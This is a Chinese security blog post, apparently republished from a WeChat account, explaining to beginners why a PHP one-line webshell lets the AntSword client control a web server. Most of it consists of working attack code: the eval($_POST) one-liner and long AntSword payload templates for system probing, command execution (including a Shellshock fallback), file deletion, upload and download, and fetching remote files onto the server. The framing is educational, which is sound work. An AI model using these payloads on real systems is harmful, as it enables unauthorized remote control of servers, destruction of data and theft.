【知识回顾】为什么一段脚本语言能够控制Web服务器?

admin 2022年6月13日11:18:37评论59 views字数 9093阅读30分18秒阅读模式

0x00 前言

有个同学向我提问,为什么使用蚁剑能够对 Web服务器进行一个控制呢?这个问题很基础啊,但对于一个初学者来说,还是有必要对他进行一个解释的。这个问题,说白了,就是了解 WebShell 的工作原理,就知道为什么了。那么我们先来看看什么是 WebShell:

Web:Web 服务器;Shell:取得对服务器某种程度上操作权限。

也就是通过简单的一句话木马,对 Web 服务器进行一个权限控制。

其实呢,就是在攻击者对 Web 服务进行一个探测后,通过漏洞(SQL注入、文件上传,远程执行等),对 Web服务器进行一个脚本文件的上传操作,其中上传的脚本文件我们称之为 WebShell。使用蚁剑连接这个 WebShell,就可以对该 Web 服务器进行一个命令执行,文件管理(文件上传下载、删除修改等文件管理功能)、数据库连接查询等功能,从而达到了使用蚁剑对 Web服务器进行一个控制的效果。

0x01 WebShell 一句话原理

以 PHP 的一句话代码来进行举例:

<?php @eval($_POST["rowteam"]);?>

可以简单的将它进行一个分解:
<?php $rcoil = $_POST["rowteam"]; eval($rcoil);?>

那么我们首先来了解这句话是什么意思:

$_POST:$_POST 变量是一个数组,内容是由 HTTP POST 方法发送的变量名称和值。也就是从 POST 请求中获取 rowteam 变量的值。eval():该函数把字符串按照 PHP 代码来计算。

效果如下图所示:

【知识回顾】为什么一段脚本语言能够控制Web服务器?
image.png


所以,像蚁剑的这种效果,实际上就是通过发送一些 PHP 代码,调用 eval 函数,实现了它的功能。下面我们来看看蚁剑的相关 Payload。

0x02 解析蚁剑的 PHP 源码

就是各个 PHP 代码,实现相对应的功能。下面的代码可以从蚁剑 Github 进行获取:https://github.com/AntSwordProject/antSword/tree/master/source/core/php/template

2.1 获取系统信息、当前用户、当前路径、盘符列表

/** * 基础信息模板 * ? 获取系统信息、当前用户、当前路径、盘符列表 */
module.exports = () => ({ info: { _: `$D=dirname($_SERVER["SCRIPT_FILENAME"]); if($D=="") $D=dirname($_SERVER["PATH_TRANSLATED"]); $R="{$D}t"; if(substr($D,0,1)!="/"){ foreach(range("C","Z")as $L) if(is_dir("{$L}:"))$R.="{$L}:"; }else{ $R.="/"; } $R.="t"; $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):""; $s=($u)?$u["name"]:@get_current_user(); $R.=php_uname(); $R.="t{$s}"; echo $R;`.replace(/ns+/g, '') }, probedb: { // 检测数据库函数支持 _: `$m=array('mysql_close','mysqli_close','mssql_close','sqlsrv_close','ora_close','oci_close','ifx_close','sqlite_close','pg_close','dba_close','dbmclose','filepro_fieldcount','sybase_close'); foreach ($m as $f) { echo($f."\t".(function_exists($f)?'1':'0')."\n"); }; $n=array('SQLite3'); foreach ($n as $f) { echo($f."\t".(class_exists($f)?'1':'0')."\n"); }; if(function_exists('pdo_drivers')){ foreach(@pdo_drivers() as $f){ echo("pdo_".$f."\t1\n"); } }`.replace(/ns+/g, '') }})

2.2 虚拟终端命令执行

module.exports = (arg1, arg2, arg3) => ({  exec: {    _: `$p=base64_decode(substr($_POST["${arg1}"],#randomPrefix#));      $s=base64_decode(substr($_POST["${arg2}"],#randomPrefix#));      $envstr=@base64_decode(substr($_POST["${arg3}"],#randomPrefix#));      $d=dirname($_SERVER["SCRIPT_FILENAME"]);      $c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";      if(substr($d,0,1)=="/"){        @putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");      }else{        @putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");      }      if(!empty($envstr)){        $envarr=explode("|||asline|||", $envstr);        foreach($envarr as $v) {          if (!empty($v)) {            @putenv(str_replace("|||askey|||", "=", $v));          }        }      }      $r="{$p} {$c}";      function fe($f){        $d=explode(",",@ini_get("disable_functions"));        if(empty($d)){          $d=array();        }else{          $d=array_map('trim',array_map('strtolower',$d));        }        return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));      };      function runshellshock($d, $c) {        if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {          if (strstr(readlink("/bin/sh"), "bash") != FALSE) {            $tmp = tempnam(sys_get_temp_dir(), 'as');            putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");            if (fe('error_log')) {              error_log("a", 1);            } else {              mail("[email protected]", "", "", "-bv");            }          } else {            return False;          }          $output = @file_get_contents($tmp);          @unlink($tmp);          if ($output != "") {            print($output);            return True;          }        }        return False;      };      function runcmd($c){        $ret=0;        $d=dirname($_SERVER["SCRIPT_FILENAME"]);        if(fe('system')){          @system($c,$ret);        }elseif(fe('passthru')){          @passthru($c,$ret);        }elseif(fe('shell_exec')){          print(@shell_exec($c));        }elseif(fe('exec')){          @exec($c,$o,$ret);          print(join("n",$o));        }elseif(fe('popen')){          $fp=@popen($c,'r');          while(!@feof($fp)){            print(@fgets($fp,2048));          }          @pclose($fp);        }elseif(fe('proc_open')){          $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);          while(!@feof($io[1])){            print(@fgets($io[1],2048));          }          while(!@feof($io[2])){            print(@fgets($io[2],2048));          }          @fclose($io[1]);          @fclose($io[2]);          @proc_close($p);        }elseif(fe('antsystem')){          @antsystem($c);        }elseif(runshellshock($d, $c)) {          return $ret;        }elseif(substr($d,0,1)!="/" && @class_exists("COM")){          $w=new COM('WScript.shell');          $e=$w->exec($c);          $so=$e->StdOut();          $ret.=$so->ReadAll();          $se=$e->StdErr();          $ret.=$se->ReadAll();          print($ret);        }else{          $ret = 127;        }        return $ret;      };      $ret=@runcmd($r." 2>&1");      print ($ret!=0)?"ret={$ret}":"";`.replace(/ns+/g, ''),    [arg1]: "#{newbase64::bin}",    [arg2]: "#{newbase64::cmd}",    [arg3]: "#{newbase64::env}"  },  listcmd: {    _: `$arr=explode(",",base64_decode(substr($_POST["${arg1}"],#randomPrefix#)));    foreach($arr as $v){        echo($v."t".(file_exists($v)?"1":"0")."n");    }`.replace(/ns+/g, ''),    [arg1]: "#{newbase64::binarr}"  },  quote: {    _: `$p=base64_decode(substr($_POST["${arg1}"],#randomPrefix#));$s=base64_decode(substr($_POST["${arg2}"],#randomPrefix#));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";echo `{$r} 2>&1``,    [arg1]: "#{newbase64::bin}",    [arg2]: "#{newbase64::cmd}"  }})

2.3 文件管理

/** * 文件管理模板 */
module.exports = (arg1, arg2, arg3) => ({ dir: { _: `$D=base64_decode(substr($_POST["${arg1}"],#randomPrefix#));$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="t".$T."t".@filesize($P)."t".$E."n";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);}`, [arg1]: "#{newbase64::path}" },
delete: { _: `function df($p){$m=@dir($p);while(@$f=$m->read()){$pf=$p."/".$f;if((is_dir($pf))&&($f!=".")&&($f!="..")){@chmod($pf,0777);df($pf);}if(is_file($pf)){@chmod($pf,0777);@unlink($pf);}}$m->close();@chmod($p,0777);return @rmdir($p);}$F=base64_decode(substr(get_magic_quotes_gpc()?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));if(is_dir($F))echo(df($F));else{echo(file_exists($F)?@unlink($F)?"1":"0":"0");}`, [arg1]: "#{newbase64::path}" },
create_file: { _: `echo @fwrite(fopen(base64_decode(substr($_POST["${arg1}"],#randomPrefix#)),"w"),base64_decode(substr($_POST["${arg2}"],#randomPrefix#)))?"1":"0";`, [arg1]: "#{newbase64::path}", [arg2]: "#{newbase64::content}" },
read_file: { _: `$F=base64_decode(substr($_POST["${arg1}"],#randomPrefix#));$P=@fopen($F,"r");echo(@fread($P,filesize($F)?filesize($F):4096));@fclose($P);`, [arg1]: "#{newbase64::path}" },
copy: { _: `$m=get_magic_quotes_gpc();$fc=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));$fp=base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#));function xcopy($src,$dest){if(is_file($src)){if(!copy($src,$dest))return false;else return true;}$m=@dir($src);if(!is_dir($dest))if(!@mkdir($dest))return false;while($f=$m->read()){$isrc=$src.chr(47).$f;$idest=$dest.chr(47).$f;if((is_dir($isrc))&&($f!=chr(46))&&($f!=chr(46).chr(46))){if(!xcopy($isrc,$idest))return false;}else if(is_file($isrc)){if(!copy($isrc,$idest))return false;}}return true;}echo(xcopy($fc,$fp)?"1":"0");`, [arg1]: "#{newbase64::path}", [arg2]: "#{newbase64::target}" },
download_file: { _: `$F=base64_decode(substr(get_magic_quotes_gpc()?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));$fp=@fopen($F,"r");if(@fgetc($fp)){@fclose($fp);@readfile($F);}else{echo("ERROR:// Can Not Read");}`, [arg1]: "#{newbase64::path}" },
upload_file: { _: `$f=base64_decode(substr($_POST["${arg1}"],#randomPrefix#)); $c=$_POST["${arg2}"]; $c=str_replace("\r","",$c); $c=str_replace("\n","",$c); $buf=""; for($i=0;$i<strlen($c);$i+=2) $buf.=urldecode("%".substr($c,$i,2)); echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");`.replace(/ns+/g, ''), [arg1]: "#{newbase64::path}", [arg2]: "#{buffer::content}" },
rename: { _: `$m=get_magic_quotes_gpc(); $src=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#)); $dst=base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#)); echo(rename($src,$dst)?"1":"0");`.replace(/ns+/g, ''), [arg1]: "#{newbase64::path}", [arg2]: "#{newbase64::name}" },
retime: { _: `$m=get_magic_quotes_gpc(); $FN=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#)); $TM=strtotime(base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"], #randomPrefix#))); if(file_exists($FN)){ echo(@touch($FN,$TM,$TM)?"1":"0"); }else{ echo("0"); };`.replace(/ns+/g, ''), [arg1]: "#{newbase64::path}", [arg2]: "#{newbase64::time}" },
chmod: { _: `$m=get_magic_quotes_gpc(); $FN=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#)); $mode=base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#)); echo(chmod($FN,octdec($mode))?"1":"0");`.replace(/ns+/g, ''), [arg1]: "#{newbase64::path}", [arg2]: "#{newbase64::mode}" },
mkdir: { _: `$m=get_magic_quotes_gpc();$f=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));echo(mkdir($f)?"1":"0");`, [arg1]: "#{newbase64::path}" },
wget: { _: `$fR=base64_decode(substr($_POST["${arg1}"],#randomPrefix#)); $fL=base64_decode(substr($_POST["${arg2}"],#randomPrefix#)); $F=@fopen($fR,chr(114)); $L=@fopen($fL,chr(119)); if($F && $L){ while(!feof($F)) @fwrite($L,@fgetc($F)); @fclose($F); @fclose($L); echo("1"); }else{ echo("0"); };`.replace(/ns+/g, ''), [arg1]: "#{newbase64::url}", [arg2]: "#{newbase64::path}" }})

0x03 总结

通过编写不同功能的 Payload,交给eval()函数执行,返回相对应的数据,再进行一个解析,从而达到一个观赏性极高的控制效果(吹爆蚁剑的 UI)。


更多知识可以加入星球进行交流及获取

【知识回顾】为什么一段脚本语言能够控制Web服务器?

原文始发于微信公众号(RowTeam):【知识回顾】为什么一段脚本语言能够控制Web服务器?

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月13日11:18:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【知识回顾】为什么一段脚本语言能够控制Web服务器?https://cn-sec.com/archives/1111613.html

发表评论

匿名网友 填写信息